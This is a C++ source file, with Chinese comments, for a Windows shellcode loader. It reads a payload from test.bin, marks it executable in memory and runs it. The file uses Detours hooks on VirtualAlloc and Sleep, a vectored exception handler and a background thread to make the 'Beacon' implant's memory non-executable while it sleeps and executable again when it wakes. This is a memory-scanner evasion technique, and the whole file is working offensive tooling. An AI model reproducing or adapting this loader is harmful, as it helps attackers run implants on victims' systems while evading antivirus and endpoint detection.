#include "pch.h"
#include
#include
#include
#include "detours.h"
#include "detver.h"
#pragma comment(lib,"detours.lib")
LPVOID Beacon_address;
SIZE_T Beacon_data_len;
DWORD Beacon_Memory_address_flOldProtect;
HANDLE hEvent;
BOOL Vir_FLAG = TRUE;
LPVOID shellcode_addr;
static LPVOID(WINAPI* OldVirtualAlloc)(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) = VirtualAlloc;
//分配內(nèi)存地址和(hé)大(dà)小(xiǎo)
LPVOID WINAPI NewVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect) {
Beacon_data_len = dwSize;
Beacon_address = OldVirtualAlloc(lpAddress, dwSize, flAllocationType, flProtect);
printf("分配大(dà)小(xiǎo):%d", Beacon_data_len);
printf("分配地址:%llx \n", Beacon_address);
return Beacon_address;
}
static VOID(WINAPI* OldSleep)(DWORD dwMilliseconds) = Sleep;
//設置新的sleep地址
void WINAPI NewSleep(DWORD dwMilliseconds)
{
if (Vir_FLAG)
{
VirtualFree(shellcode_addr, 0, MEM_RELEASE);
Vir_FLAG = false;
}
printf("sleep時(shí)間(jiān):%d\n", dwMilliseconds);
SetEvent(hEvent);
OldSleep(dwMilliseconds);
}
void Hook()
{
DetourRestoreAfterWith(); //避免重複HOOK
DetourTransactionBegin(); // 開(kāi)始HOOK
DetourUpdateThread(GetCurrentThread());//列入一個(gè)在DetourTransaction過程中要進行(xíng)update的線程，為(wèi)了避免崩潰
DetourAttach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc); //多(duō)次調用DetourAttach，HOOK多(duō)個(gè)函數(shù)
DetourAttach((PVOID*)&OldSleep, NewSleep);
DetourTransactionCommit(); // 提交HOOK
}
void UnHook()
{
DetourTransactionBegin();//解除截獲過程
DetourUpdateThread(GetCurrentThread());//列入一個(gè)在DetourTransaction過程中要進行(xíng)update的線程，為(wèi)了避免崩潰
DetourDetach((PVOID*)&OldVirtualAlloc, NewVirtualAlloc);//撤銷對NewVirtualAlloc的hook
DetourTransactionCommit();//解除hook
}
size_t GetSize(char* szFilePath)
{
size_t size;
FILE* f = fopen(szFilePath, "rb");
fseek(f, 0, SEEK_END);
size = ftell(f);//ftell配合fseek計(jì)算(suàn)出文件大(dà)小(xiǎo)
rewind(f);
fclose(f);
return size;
}
unsigned char* ReadBinaryFile(char* szFilePath, size_t* size)
{
unsigned char* p = NULL;
FILE* f = NULL;
size_t res = 0;
*size = GetSize(szFilePath);
if (*size == 0) return NULL;
f = fopen(szFilePath, "rb");
if (f == NULL)
{
printf("Binary file does not exists!\n");
return 0;
}
p = new unsigned char[*size];
// Read file
rewind(f);
res = fread(p, sizeof(unsigned char), *size, f);
fclose(f);
if (res == 0)
{
delete[] p;
return NULL;
}
return p;
}
BOOL is_Exception(DWORD64 Exception_addr)
{
if (Exception_addr < ((DWORD64)Beacon_address + Beacon_data_len) && Exception_addr >(DWORD64)Beacon_address)
{
printf("地址符合:%llx\n", Exception_addr);
return true;
}
printf("地址不符合:%llx\n", Exception_addr);
return false;
}
LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{
printf("FirstVectExcepHandler\n");
printf("異常錯誤碼:%x\n", pExcepInfo->ExceptionRecord->ExceptionCode);
//printf("線程地址:%llx\n", pExcepInfo->ContextRecord->Rip);
if (pExcepInfo->ExceptionRecord->ExceptionCode == 0xc0000005)
{
printf("恢複Beacon內(nèi)存屬性\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//設置Beacon_address所在內(nèi)存區(qū)域設置為(wèi)可(kě)執行(xíng)模式
return EXCEPTION_CONTINUE_EXECUTION;
}
return EXCEPTION_CONTINUE_SEARCH;
}
DWORD WINAPI Beacon_set_Memory_attributes(LPVOID lpParameter)
{
printf("Beacon_set_Memory_attributes啓動\n");
while (true)
{
WaitForSingleObject(hEvent, INFINITE);//檢測hEvent事件的信号狀态,INFINITE表示函數(shù)将僅在對象收到信号時(shí)返回
printf("設置Beacon內(nèi)存屬性不可(kě)執行(xíng)\n");
VirtualProtect(Beacon_address, Beacon_data_len, PAGE_READWRITE, &Beacon_Memory_address_flOldProtect);//将shellcode_addr所在內(nèi)存區(qū)域設置為(wèi)不可(kě)執行(xíng)模式
ResetEvent(hEvent); //設置事件hEvent為(wèi)無信号狀态
}
return 0;
}
int main()
{
hEvent = CreateEvent(NULL, TRUE, false, NULL);//創建一個(gè)命名的或無名的事件對象
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);//注冊向量異常處理(lǐ)程序，并返回異常處理(lǐ)程序的句柄
Hook(); //開(kāi)始hook
HANDLE hThread1 = CreateThread(NULL, 0, Beacon_set_Memory_attributes, NULL, 0, NULL);//創建線程，指向線程函數(shù)的地址Beacon_set_Memory_attributes
CloseHandle(hThread1);//關閉線程
unsigned char* BinData = NULL;
size_t size = 0;
char* szFilePath = ".\\test.bin";
BinData = ReadBinaryFile(szFilePath, &size);
shellcode_addr = VirtualAlloc(NULL, size, MEM_COMMIT, PAGE_READWRITE);//申請(qǐng)內(nèi)存空(kōng)間(jiān)，返回首地址
memcpy(shellcode_addr, BinData, size);//從存儲區(qū) BinData複制(zhì) size個(gè)字節到存儲區(qū) shellcode_addr
VirtualProtect(shellcode_addr, size, PAGE_EXECUTE_READWRITE, &Beacon_Memory_address_flOldProtect);//将shellcode_addr所在內(nèi)存區(qū)域設置為(wèi)可(kě)執行(xíng)模式
(*(int(*)()) shellcode_addr)(); //執行(xíng)shellcode
UnHook();//結束hook
return 0;
}
